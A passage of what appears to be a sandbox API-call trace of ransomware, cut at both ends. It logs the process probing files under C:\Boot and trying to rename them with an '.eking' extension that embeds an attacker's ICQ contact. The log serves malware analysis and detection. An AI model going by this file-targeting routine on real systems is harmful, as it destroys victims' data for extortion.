dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.545] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1985867) returned 1 [0216.545] CloseHandle (hObject=0x318) returned 1 [0216.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0216.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0216.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0216.545] SetEvent (hEvent=0x2b8) returned 1 [0216.546] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0216.549] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=174959) returned 1 [0216.550] CloseHandle (hObject=0x370) returned 1 [0216.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0216.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0216.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.550] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.550] SetEvent (hEvent=0x2b8) returned 1 [0216.550] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0216.816] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=177414) returned 1 [0216.816] CloseHandle (hObject=0x358) returned 1 [0216.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0216.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0216.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.820] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.820] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.851] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=162331) returned 1 [0216.851] CloseHandle (hObject=0x318) returned 1 [0216.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0216.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0216.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.864] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=154427) returned 1 [0216.865] CloseHandle (hObject=0x318) returned 1 [0216.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0216.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0216.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.865] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.865] SetEvent (hEvent=0x2b8) returned 1 [0216.865] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.866] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=156245) returned 1 [0216.866] CloseHandle (hObject=0x318) returned 1 [0216.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0216.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0216.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.867] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.867] SetEvent (hEvent=0x2b8) returned 1 [0216.867] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.601] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=44859) returned 1 [0217.601] CloseHandle (hObject=0x318) returned 1 [0217.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0217.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0217.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.601] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.601] SetEvent (hEvent=0x2b8) returned 1 [0217.602] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.604] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=86178) returned 1 [0217.604] CloseHandle (hObject=0x318) returned 1 [0217.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0217.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0217.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.604] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.604] SetEvent (hEvent=0x2b8) returned 1 [0217.604] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.653] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=49091) returned 1 [0217.653] CloseHandle (hObject=0x370) returned 1 [0217.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0217.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0217.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.654] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.654] SetEvent (hEvent=0x2b8) returned 1 [0217.654] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.654] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=77152) returned 1 [0217.654] CloseHandle (hObject=0x370) returned 1 [0217.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0217.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0217.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.655] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.656] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=44888) returned 1 [0217.656] CloseHandle (hObject=0x370) returned 1 [0217.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0217.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0217.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.657] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=77152) returned 1 [0217.657] CloseHandle (hObject=0x370) returned 1 [0217.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0217.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0217.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.658] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=76128) returned 1 [0217.658] CloseHandle (hObject=0x370) returned 1 [0217.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0217.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0217.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.659] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=44952) returned 1 [0217.659] CloseHandle (hObject=0x370) returned 1 [0217.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0217.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0217.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.660] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=75096) returned 1 [0217.660] CloseHandle (hObject=0x370) returned 1 [0217.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0217.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0217.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.661] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=45472) returned 1 [0217.661] CloseHandle (hObject=0x370) returned 1 [0217.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0217.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0217.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.662] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=77152) returned 1 [0217.662] CloseHandle (hObject=0x370) returned 1 [0217.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0217.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0217.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.686] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4662) returned 1 [0217.687] CloseHandle (hObject=0x370) returned 1 [0217.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0217.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0217.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.687] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.688] SetEvent (hEvent=0x2b8) returned 1 [0217.688] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.688] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=63840) returned 1 [0217.688] CloseHandle (hObject=0x370) returned 1 [0217.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0217.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: 